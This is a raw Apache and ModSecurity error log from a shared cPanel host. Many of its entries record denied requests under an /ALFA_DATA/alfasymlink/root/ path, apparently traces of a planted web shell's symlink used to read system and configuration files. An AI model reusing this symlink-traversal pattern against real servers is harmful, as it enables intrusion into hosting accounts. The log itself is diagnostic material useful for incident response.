[Sun Oct 25 20:02:10.252209 2026] [security2:error] [pid 2926323:tid 2926323] [client 185.191.171.3:40436] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/run/udev/data/c13:63"] [unique_id "at6Ygi7g7KvJoU2B-eLK3AAAAAY"]
[Sun Oct 25 20:02:10.252268 2026] [security2:error] [pid 2926323:tid 2926323] [client 185.191.171.3:40436] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/run/udev/data/c13:63"] [unique_id "at6Ygi7g7KvJoU2B-eLK3AAAAAY"]
[Sun Oct 25 20:02:14.262301 2026] [proxy_fcgi:error] [pid 2923082:tid 2923082] [client 54.87.62.248:53350] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 20:02:18.480466 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 42.119.84.212:8969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/partial
[Sun Oct 25 20:02:20.437671 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 187.13.210.249:53288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/partial
[Sun Oct 25 20:02:22.678400 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 208.96.134.70:46486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/partial
[Sun Oct 25 20:02:30.227264 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 52.3.102.51:49522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0501:01/subsystem/drivers/hpet/uevent
[Sun Oct 25 20:02:34.160576 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 52.3.104.214:55404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:02:42.164095 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 35.174.141.243:46464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/taskstats/aliases
[Sun Oct 25 20:02:45.743434 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 185.191.171.6:16018] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:02:48.765223 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 185.191.171.17:53176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/alloc_calls
[Sun Oct 25 20:02:57.741605 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 138.199.52.75:29386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCSPDaemon.lock
[Sun Oct 25 20:02:58.178922 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 100.28.57.133:49731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:02:59.449171 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 172.59.29.148:14839] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCSPDaemon.lock
[Sun Oct 25 20:03:02.761101 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 187.87.244.196:15810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCSPDaemon.lock
[Sun Oct 25 20:03:04.813940 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 153.67.183.67:17834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/objects_partial
[Sun Oct 25 20:03:07.776330 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 186.158.200.142:44097] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/objects_partial
[Sun Oct 25 20:03:10.036036 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 45.163.207.26:48620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/objects_partial
[Sun Oct 25 20:03:14.175340 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 3.227.180.70:32009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:03:19.282115 2026] [security2:error] [pid 2918422:tid 2918422] [client 16.216.88.20:14336] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at6Yx8mX8eKs_cgmrz9vsgAAAAU"]
[Sun Oct 25 20:03:19.282601 2026] [security2:error] [pid 2918422:tid 2918422] [client 16.216.88.20:14336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at6Yx8mX8eKs_cgmrz9vsgAAAAU"]
[Sun Oct 25 20:03:19.282901 2026] [security2:error] [pid 2918422:tid 2918422] [client 16.216.88.20:14336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at6Yx8mX8eKs_cgmrz9vsgAAAAU"]
[Sun Oct 25 20:03:22.154003 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 34.195.248.30:17880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:03:22.154239 2026] [security2:error] [pid 2922286:tid 2922286] [client 34.195.248.30:17880] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:0c/path"] [unique_id "at6YyiML9QMr9_Qxg78JnAAAABM"]
[Sun Oct 25 20:03:22.154267 2026] [security2:error] [pid 2922286:tid 2922286] [client 34.195.248.30:17880] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:0c/path"] [unique_id "at6YyiML9QMr9_Qxg78JnAAAABM"]
[Sun Oct 25 20:03:32.637119 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 185.191.171.13:41432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/objects
[Sun Oct 25 20:03:42.323559 2026] [proxy_fcgi:error] [pid 2918422:tid 2918422] [client 23.21.204.95:35850] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 20:03:50.181665 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 52.71.216.196:47995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:04:02.279330 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 54.83.23.103:29275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:04:08.249534 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49496] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Y7EZ49PyiKUODFuf2WgAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:04:08.249589 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49496] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Y7EZ49PyiKUODFuf2WgAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:04:14.647202 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 200.96.18.120:39262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/sanity_checks
[Sun Oct 25 20:04:16.470364 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 74.128.129.217:42095] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/sanity_checks
[Sun Oct 25 20:04:18.335779 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 52.45.194.165:43366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:04:22.158249 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 23.22.59.87:45540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:04:22.672982 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 38.51.120.104:41874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/sanity_checks
[Sun Oct 25 20:04:25.532696 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 85.208.96.198:23584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/usersize
[Sun Oct 25 20:04:38.155300 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 141.157.196.242:50623] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/poison
[Sun Oct 25 20:04:40.502109 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 151.244.149.66:59294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/poison
[Sun Oct 25 20:04:42.144030 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.216.227.216:5858] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:04:42.998075 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 70.70.233.163:35773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/poison
[Sun Oct 25 20:04:50.188706 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 44.212.145.46:18664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0C0F:03/subsystem/devices/PNP0A03:00/device:1f/eject
[Sun Oct 25 20:04:54.138900 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 44.210.204.255:15057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/nsproxy/hwcache_align
[Sun Oct 25 20:04:57.215725 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 68.132.81.93:33868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/objs_per_slab
[Sun Oct 25 20:04:59.488555 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 105.158.44.15:53350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/objs_per_slab
[Sun Oct 25 20:05:00.838561 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 71.199.187.37:48139] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/objs_per_slab
[Sun Oct 25 20:05:23.634907 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 85.208.96.198:59828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/shrink
[Sun Oct 25 20:05:38.161538 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 3.93.211.16:46084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:05:42.144693 2026] [ssl:error] [pid 2926298:tid 2926298] (70014)End of file found: [client 98.84.131.195:58548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:05:54.149348 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 44.217.177.142:38590] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:06:06.175845 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 52.1.106.130:2374] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:06:11.461363 2026] [authz_core:error] [pid 2922868:tid 2922868] [client 66.132.195.123:46546] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:06:21.650393 2026] [core:crit] [pid 2922286:tid 2922286] (13)Permission denied: [client 66.132.195.123:17102] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 20:06:22.132715 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 44.221.37.41:52128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:06:26.129777 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 50.16.248.61:44257] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:06:30.316622 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.94.199.128:58603] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:06:34.136093 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 52.21.62.139:16666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:06:38.157999 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.147.182.90:24691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:06:39.237963 2026] [security2:error] [pid 2924209:tid 2924209] [client 173.40.144.80:30134] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/sockets.target.wants/systemd-udevd-control.socket"] [unique_id "at6Zj2EEHFHP3XuKakX8GAAAAAQ"]
[Sun Oct 25 20:06:39.238007 2026] [security2:error] [pid 2924209:tid 2924209] [client 173.40.144.80:30134] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/sockets.target.wants/systemd-udevd-control.socket"] [unique_id "at6Zj2EEHFHP3XuKakX8GAAAAAQ"]
[Sun Oct 25 20:06:46.181044 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 44.221.37.41:9091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:07:14.428377 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 100.29.63.24:61210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:07:14.937683 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 85.208.96.204:60788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/shrink
[Sun Oct 25 20:07:18.139458 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 44.213.202.136:14841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:07:22.129841 2026] [ssl:error] [pid 2926298:tid 2926298] (70014)End of file found: [client 35.173.18.61:2832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:07:34.128537 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 52.54.15.103:49683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:07:42.134852 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 52.44.148.203:26570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input5/subsystem/event2/device/device/driver/module/uevent
[Sun Oct 25 20:07:46.131068 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 54.145.82.217:18037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:07:50.329556 2026] [core:error] [pid 2922286:tid 2922286] (13)Permission denied: [client 85.208.96.197:48376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/shrink
[Sun Oct 25 20:07:50.728543 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 201.239.13.170:53045] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/order
[Sun Oct 25 20:07:52.814870 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 47.37.81.241:48968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/order
[Sun Oct 25 20:07:54.186226 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 34.205.163.103:18262] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:07:57.813930 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 45.230.243.117:6964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/order
[Sun Oct 25 20:07:58.160569 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 54.92.171.106:24003] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:08:06.317291 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.225.9.97:14420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:08:30.140581 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 100.25.120.246:28522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:08:33.327218 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 185.191.171.19:39120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/poison
[Sun Oct 25 20:08:38.250744 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 3.219.81.66:53870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:08:46.235690 2026] [ssl:error] [pid 2926881:tid 2926881] (70014)End of file found: [client 52.7.33.248:62934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:08:46.978183 2026] [authz_core:error] [pid 2922285:tid 2922285] [client 104.253.228.28:24500] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:08:50.147108 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 100.28.57.133:22121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ptmx/subsystem/tty2/subsystem/ttyS3/iomem_base
[Sun Oct 25 20:08:54.280815 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 52.0.41.164:39051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:08:58.161414 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 44.216.172.204:31136] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:09:06.134808 2026] [ssl:error] [pid 2926298:tid 2926298] (70014)End of file found: [client 3.212.205.90:31118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:09:20.210059 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 73.105.82.145:60107] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/object_size
[Sun Oct 25 20:09:22.334513 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 190.80.24.24:54540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/object_size
[Sun Oct 25 20:09:24.799874 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 69.1.29.175:37689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/object_size
[Sun Oct 25 20:09:26.140512 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 44.205.74.196:17044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:09:38.153886 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 52.202.233.37:61577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:09:50.118631 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 3.94.156.104:42125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:09:54.132635 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 52.4.213.199:54937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:09:57.794015 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 67.165.97.192:53567] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/reclaim_account
[Sun Oct 25 20:10:00.077867 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 168.232.62.73:59273] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/reclaim_account
[Sun Oct 25 20:10:18.142451 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 35.171.117.160:62518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:10:22.141545 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 52.45.15.233:60579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:10:28.495620 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 185.191.171.11:51350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/align
[Sun Oct 25 20:10:30.140974 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 98.82.59.253:3171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:10:34.136687 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 44.221.37.41:25985] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/ext4_prealloc_space/objs_per_slab
[Sun Oct 25 20:10:42.159038 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 35.169.119.108:29108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/shmem_inode_cache/objects
[Sun Oct 25 20:10:55.288220 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 172.216.14.150:52992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/total_objects
[Sun Oct 25 20:10:57.544050 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 46.184.187.235:65410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/total_objects
[Sun Oct 25 20:10:59.743805 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 38.25.230.8:52638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/total_objects
[Sun Oct 25 20:11:02.202583 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.230.224.6:18770] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:11:21.192740 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 85.208.96.206:49846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/net_failover/sections/__mcount_loc
[Sun Oct 25 20:11:22.257049 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 34.239.197.197:12072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:11:26.048344 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 200.87.87.101:47924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/trace
[Sun Oct 25 20:11:27.652487 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 85.208.96.204:47182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/drivers_probe
[Sun Oct 25 20:11:28.387526 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 97.170.183.104:35869] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/trace
[Sun Oct 25 20:11:30.042821 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 90.14.48.20:34158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/trace
[Sun Oct 25 20:11:39.261965 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 67.235.175.87:59590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/slabs_cpu_partial
[Sun Oct 25 20:11:41.492337 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 138.0.228.197:46652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/slabs_cpu_partial
[Sun Oct 25 20:11:43.134807 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 146.12.146.72:60606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/slabs_cpu_partial
[Sun Oct 25 20:11:50.740866 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 76.68.95.218:34541] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/aliases
